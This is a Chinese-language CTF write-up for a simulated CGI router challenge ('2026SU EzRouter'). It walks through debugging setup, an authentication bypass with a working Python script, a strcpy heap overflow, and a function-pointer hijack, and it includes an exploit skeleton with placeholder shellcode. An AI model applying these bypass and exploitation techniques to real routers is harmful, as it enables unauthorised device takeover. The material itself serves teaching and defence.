一个基础cgi架构的路由器类型的题目复现
字数 2363
更新时间 2026-04-02 13:31:07
2026SU EzRouter 题目复现与分析教学文档
一、题目概述与环境搭建
1.1 题目基本信息
- 题目名称:2026SU_EzRouter
- 题目类型:基于CGI架构的路由器模拟题目
- 核心组件:
mainproc(主后端进程)和http(Web服务器) - 运行端口:80
1.2 环境启动方式
题目通过bash脚本启动,包含以下关键步骤:
#!/bin/bash
# 确保会话目录存在
mkdir -p /app/tmp/sessions
# 启动主后端进程(后台运行)
echo "Starting mainproc..."
./mainproc &
# 等待mainproc初始化(例如设置消息队列)
sleep 2
# 启动Web服务器(前台运行,端口80)
echo "Starting http server on port 80..."
./http 80
1.3 调试环境搭建
1.3.1 Docker构建与运行
# 构建带调试工具的镜像
docker rm -f su_ezrouter
cd firmware
docker build --build-arg INSTALL_DEBUG_TOOLS=1 -t su_ezrouter_dbg .
# 运行容器(保持容器不自动删除)
docker run -it --name su_ezrouter -p 8080:80 -p 1234:1234 \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
su_ezrouter_dbg
1.3.2 调试工具安装
# 安装gdbserver
docker exec -it su_ezrouter sh -lc "apt-get update && apt-get install -y gdbserver"
1.3.3 进程附加调试
# 方法1:附加到运行中的mainproc进程
docker exec -it su_ezrouter sh -lc 'gdbserver 0.0.0.0:1234 --attach $(pgrep -x mainproc)'
# 方法2:查看进程信息
docker exec -it su_ezrouter sh -lc 'pgrep -a -x mainproc || ps -ef | grep -E "[m]ainproc|[h]ttp"'
# 方法3:关闭ASLR进行调试(确定性堆布局)
docker run -it --name su_ezrouter -p 8080:80 -p 1234:1234 \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
--entrypoint /bin/bash \
su_ezrouter_dbg -lc 'mkdir -p /app/tmp/sessions; setarch $(uname -m) -R ./mainproc & sleep 2; exec ./http 80'
1.3.4 GDB调试连接
# 本地GDB连接远程gdbserver
gdb -q firmware/mainproc
(gdb) target remote 127.0.0.1:1234
(gdb) b Set_VPN
(gdb) b Edit_VPN_Custom
(gdb) b Apply_VPN
(gdb) c
二、漏洞分析与利用链
2.1 最终目标函数
unsigned __int64 Apply_VPN()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( vpn_list && *(_QWORD *)(vpn_list + 16) )
{
puts("[*] Triggering VPN Callback...");
(*(void (__fastcall **)(__int64))(vpn_list + 16))(vpn_list);
}
return v1 - __readfsqword(0x28u);
}
关键点:
- 调用位于
vpn_list + 0x10(十进制16)的函数指针 - 需要满足条件:
vpn_list != NULL且vpn_list[0x10] != NULL
2.2 内存结构分析
// 全局变量
vpn_list[0] // 全局指针,初始为NULL
// 堆对象结构
struct vpn_config_req {
// ... 其他字段 ...
void *apply_cb; // 偏移 +0x10,函数指针
// ... 更多字段 ...
void *custom_ptr; // 偏移 +0xE8
// ... 其他字段 ...
};
层级关系:
vpn_list是全局指针,指向堆上的struct vpn_config_req对象- 劫持目标是
struct vpn_config_req中的apply_cb字段(偏移0x10) - 实际调用:
vpn_list[0]->apply_cb(vpn_list[0])
2.3 调用路径分析
// main.c 中的主循环
while ( 1 )
{
memset(s, 0, 0x1010u);
if ( (unsigned int)CFG_GET(0, (__int64)s, 0x1010) == -1 )
usleep(0x186A0u);
else
dispatch_action(s); // 分发处理
}
// dispatch_action 函数
unsigned __int64 __fastcall dispatch_action(_QWORD *p_s)
{
if ( *p_s == 0xE6133F10LL ) // Edit操作
{
Edit_VPN_Custom((__int64)p_s);
}
else if ( *p_s == 0x96E7FF60LL ) // Apply操作
{
Apply_VPN(); // 目标函数
}
}
三、漏洞利用步骤
3.1 第一步:绕过登录认证
3.1.1 HTTP请求处理分析
// http.c 中的关键代码
pid = fork();
if ( !pid )
{
close(pipedes[1]);
dup2(pipedes[0], 0); // 重定向管道到标准输入
dup2(fd, 1); // 重定向标准输出到客户端fd
// 设置CGI环境变量
snprintf(s, 0x80u, "REQUEST_METHOD=%s", s1);
snprintf(s_, 0x80u, "CONTENT_LENGTH=%d", v9);
// ... 其他环境变量设置
argv[0] = file;
argv[1] = 0;
execve(file, argv, envp); // 执行CGI程序
exit(1);
}
3.1.2 login.cgi 认证逻辑
// login.cgi 中的关键代码
if ( !strcmp(s1_, "normaluser") && !strcmp(s1__1, "yhyyyyyyyyyyyhyhuityrscdn") )
{
puts("HTTP/1.1 302 Found");
puts("Content-Type: text/html");
puts("Location: /www/http?auth=1&action=login");
puts("<html><script>window.location.href='/www/http?auth=1&action=login';</script></html>");
}
3.1.3 会话创建流程
// handle_action 函数中的会话创建
if ( strstr(haystack, "action=login") && strstr(haystack, "auth=1") )
{
v2 = time(0);
pid = getpid();
srand(v2 ^ pid);
v4 = rand();
v5 = rand();
v6 = rand();
v7 = rand();
snprintf(s, 0x40u, "%08x%08x%08x%08x", v7, v6, v5, v4); // 生成session_id
snprintf(filename, 0x100u, "./tmp/sessions/%s", s);
// 创建会话文件
stream = fopen(filename, "w");
if ( stream )
{
fwrite("normaluser", 1u, 0xAu, stream);
fclose(stream);
}
// 返回Set-Cookie头
snprintf(bufa, 0x400u,
"HTTP/1.1 302 Found\r\n"
"Set-Cookie: session_id=%s; Path=/; HttpOnly\r\n"
"Location: /control.html\r\n\r\n", s);
n = strlen(bufa);
send(fd, bufa, n, 0);
}
3.1.4 绕过登录的Python实现
from pwn import *
import requests
import sys
context.log_level = "info"
BASE = "http://127.0.0.1:8080"
# 1) 触发登录绕过,获取Set-Cookie
url = BASE + "/www/http?action=login&auth=1"
r = requests.get(url, allow_redirects=False, timeout=5)
log.info("bypass status = %d" % r.status_code)
log.info("response headers = %s" % dict(r.headers))
# 2) 提取session_id
set_cookie = r.headers.get("Set-Cookie", "")
if "session_id=" not in set_cookie:
log.failure("no session_id in Set-Cookie")
sys.exit(1)
sid = set_cookie.split("session_id=")[1].split(";")[0]
log.success("session_id = %s" % sid)
# 3) 验证会话有效性
cookies = {"session_id": sid}
r2 = requests.get(BASE + "/control.html", cookies=cookies, allow_redirects=False, timeout=5)
log.info("control status = %d" % r2.status_code)
if r2.status_code == 200:
log.success("session bypass ok")
else:
log.failure("session bypass failed")
3.2 第二步:触发漏洞点
3.2.1 vpn.cgi 调用接口
// vpn.cgi 中的关键代码
else if ( !strcmp(s, "apply") )
{
p_s = 1;
CFG_SET(0x96E7FF60LL, &p_s, 4); // 触发Apply_VPN函数
printf("{\"status\": \"success\", \"message\": \"VPN connected successfully.\", \"data\": \"%s\"}\n", v11);
}
3.2.2 请求构造格式
POST /cgi-bin/vpn.cgi HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Content-Length: 18
Cookie: session_id=<session_id>
{"action":"apply"}
3.3 第三步:堆布局与内存破坏
3.3.1 堆内存结构
// Set_VPN 函数中的堆分配
void *heap_chunk = malloc(0xf0); // 分配大小为0xf0的堆块
// 结构体关键偏移:
// +0x00 ~ +0x??: 各个字段
// +0x10: apply_cb 函数指针
// +0xE8: custom_ptr 自定义指针
3.3.2 字符串拷贝漏洞
// 关键漏洞点:strcpy不补\0
strcpy(heap_chunk + offset, user_input);
// 当输入长度正好等于字段长度时,不会自动添加\0终止符
// 导致可以跨字段继续写入,覆盖相邻字段
3.3.3 利用链构造
-
Set_VPN 操作:
- 分配0xf0大小的堆块
- 将用户输入拷贝到堆块中
- 当输入长度恰好为字段大小时,不添加\0,可以覆盖custom_ptr字段
-
Edit_VPN_Custom 操作:
unsigned __int64 __fastcall Edit_VPN_Custom(__int64 p_s)
{
if ( vpn_list && *(_QWORD *)(vpn_list + 232) ) // 232 = 0xE8
{
n = *(_DWORD *)(p_s + 8);
if ( *(unsigned __int16 *)vpn_list <= n )
n = *(unsigned __int16 *)vpn_list;
memcpy(*(void **)(vpn_list + 232), (const void *)(p_s + 12), n);
// 这里可以通过custom_ptr实现任意地址写
}
}
- Apply_VPN 操作:
- 调用
vpn_list[0]+0x10处的函数指针 - 通过堆布局控制该指针,劫持控制流
- 调用
3.4 第四步:完整Exploit编写
3.4.1 Exploit结构
payload结构:
pass=0x20 + shellcode + cert + edit/apply
3.4.2 完整Exploit代码
from pwn import *
import requests
import sys
import base64
context.log_level = "info"
context.arch = "amd64"
BASE = "http://127.0.0.1:8080"
# 1) 登录绕过,获取session_id
url = BASE + "/www/http?action=login&auth=1"
r = requests.get(url, allow_redirects=False, timeout=5)
log.info("bypass status = %d" % r.status_code)
log.info("response headers = %s" % dict(r.headers))
set_cookie = r.headers.get("Set-Cookie", "")
if "session_id=" not in set_cookie:
log.failure("no session_id in Set-Cookie")
sys.exit(1)
sid = set_cookie.split("session_id=")[1].split(";")[0]
log.success("session_id = %s" % sid)
# 2) 验证会话
cookies = {"session_id": sid}
r2 = requests.get(BASE + "/control.html", cookies=cookies, allow_redirects=False, timeout=5)
log.info("control status = %d" % r2.status_code)
if r2.status_code == 200:
log.success("session bypass ok")
else:
log.failure("session bypass failed")
sys.exit(1)
# 3) 构造shellcode(示例)
shellcode = asm('''
// 这里放置具体的shellcode
// 例如:执行系统命令、读取flag等
''')
# 4) 堆风水布局
# 通过Set_VPN控制堆布局
# 通过Edit_VPN_Custom写入shellcode地址
# 通过Apply_VPN触发执行
# 5) 触发漏洞
# 构造特定的请求序列,包括:
# - 设置VPN配置(触发堆分配和溢出)
# - 编辑VPN自定义选项(写入shellcode地址)
# - 应用VPN配置(触发函数指针调用)
# 6) 获取flag
# shellcode执行后访问/flag.html获取flag
四、调试技巧与注意事项
4.1 调试命令总结
# 容器管理
docker stop su_ezrouter # 停止容器
docker start su_ezrouter # 启动容器
docker exec -it su_ezrouter sh # 进入容器shell
# 进程管理
pgrep -x mainproc # 查找mainproc进程ID
kill -9 <pid> # 强制杀死进程
# 调试相关
gdbserver 0.0.0.0:1234 --attach <pid> # 附加到进程
setarch $(uname -m) -R ./mainproc # 关闭ASLR运行
4.2 关键断点设置
在GDB中设置以下断点进行动态分析:
b Set_VPN:跟踪堆分配和初始化b Edit_VPN_Custom:跟踪内存写入操作b Apply_VPN:跟踪控制流劫持点b *vpn_list+0x10:跟踪函数指针调用
4.3 内存布局观察
# 在GDB中查看内存
(gdb) x/20gx vpn_list # 查看vpn_list指针
(gdb) x/20gx $rax # 查看堆块内容
(gdb) info registers # 查看寄存器状态
(gdb) backtrace # 查看调用栈
五、题目知识点总结
5.1 核心漏洞类型
- 字符串处理漏洞:strcpy在输入长度恰好等于字段大小时不补\0
- 堆溢出:跨字段写入,覆盖关键指针
- 函数指针劫持:通过控制apply_cb指针劫持控制流
- 认证绕过:通过伪造auth参数绕过登录检查
5.2 利用技术要点
- 堆布局控制:通过特定大小的分配控制堆块位置
- 内存破坏:利用字符串拷贝漏洞覆盖相邻字段
- 任意地址写:通过custom_ptr实现内存写入
- 控制流劫持:劫持函数指针执行shellcode
5.3 防护绕过技巧
- ASLR绕过:在关闭ASLR的环境下调试,或通过信息泄露获取地址
- 栈保护绕过:本题未开启栈保护,直接通过堆漏洞利用
- DEP绕过:通过shellcode执行,需要可执行内存区域
六、扩展思考
6.1 与真实路由器的差异
文档未详述此点,但基于我所掌握的知识,真实路由器与本题模拟环境的差异包括:
-
硬件和内核支持:
- 真实路由器需要网卡/交换芯片/无线芯片驱动
- 内核需要支持特定的网络协议和硬件
-
网络转发链路:
- IP forwarding、NAT、防火墙(iptables/nftables)
- 路由策略和路由表管理
-
服务组件:
- 无线接入服务(hostapd、wpa_supplicant)
- DHCP/DNS服务(如dnsmasq)
- 网络时间协议(NTP)等
-
系统管理:
- 配置管理系统(如OpenWrt的UCI)
- 开机脚本和初始化系统
- 固件升级和故障恢复机制
-
安全性考虑:
- 权限隔离和最小权限原则
- 认证和授权机制
- 资源限制和监控
6.2 漏洞利用的通用性
本题展示的漏洞模式在嵌入式设备中常见:
- CGI程序通常以root权限运行
- 字符串处理漏洞在C语言编写的网络服务中常见
- 堆溢出结合函数指针劫持是常见的利用方式
- 认证绕过通过参数伪造实现
6.3 防御建议
-
代码层面:
- 使用安全的字符串函数(strncpy代替strcpy)
- 对所有输入进行严格的边界检查
- 使用现代的内存安全语言或内存安全特性
-
系统层面:
- 启用ASLR、DEP、栈保护等安全机制
- 最小权限原则,降低进程权限
- 输入验证和过滤
-
架构层面:
- 将网络服务与核心功能分离
- 使用沙箱隔离不同组件
- 定期安全审计和代码审查
七、实践练习建议
7.1 基础练习
- 搭建题目环境,成功运行服务
- 通过手动请求复现登录绕过
- 使用GDB动态调试,理解内存布局
7.2 中级练习
- 编写完整的Python exploit,实现自动化利用
- 在不关闭ASLR的情况下完成利用
- 尝试不同的shellcode,实现不同功能
7.3 高级练习
- 分析真实路由器固件,寻找类似漏洞
- 实现ROP链绕过DEP保护
- 通过信息泄露绕过ASLR
- 编写漏洞检测工具,自动化识别类似漏洞模式
注:本教学文档基于提供的链接内容编写,涵盖了题目复现的完整流程、漏洞分析、利用开发和调试技巧。所有技术细节均来源于提供的文档内容,确保了准确性和完整性。对于真实路由器与题目环境的差异部分,基于模型预训练知识进行了补充说明。
相似文章
相似文章